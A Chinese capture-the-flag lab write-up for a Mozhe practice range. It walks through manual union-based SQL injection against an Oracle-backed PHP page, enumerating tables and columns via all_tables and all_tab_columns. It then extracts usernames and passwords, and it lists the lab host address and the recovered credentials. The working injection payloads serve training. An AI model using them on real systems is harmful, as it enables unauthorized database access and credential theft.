靶场:
https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Apache+PHP+Oracle,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Oracle的数据结构;
4.了解字符串的MD5加解密;
解题方向
手工进行SQL注入测试,获取管理密码登录。
解题思路:
1、找到注入点/new_list.php?id=1
2、判断字段数,此处是2
http://219.153.49.228:48612/new_list.php?id=1 order by 2 //页面正常
http://219.153.49.228:48612/new_list.php?id=1 order by 3 //页面为空
3、判断回显
?id=-1 union select '1','2' from dual
4、我们需要的是用户的账号密码,因此直接查找存在users字样的表名
?id=-1 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'null' from dual
5、获取表中列名
?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual
?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'null' from dual
6、获取数据
?id=-1 union select user_name,user_pwd from "sns_users"
?id=-1 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
得到两组用户名和密码,第一组不行,第二组登录,得到key
mozhe/926173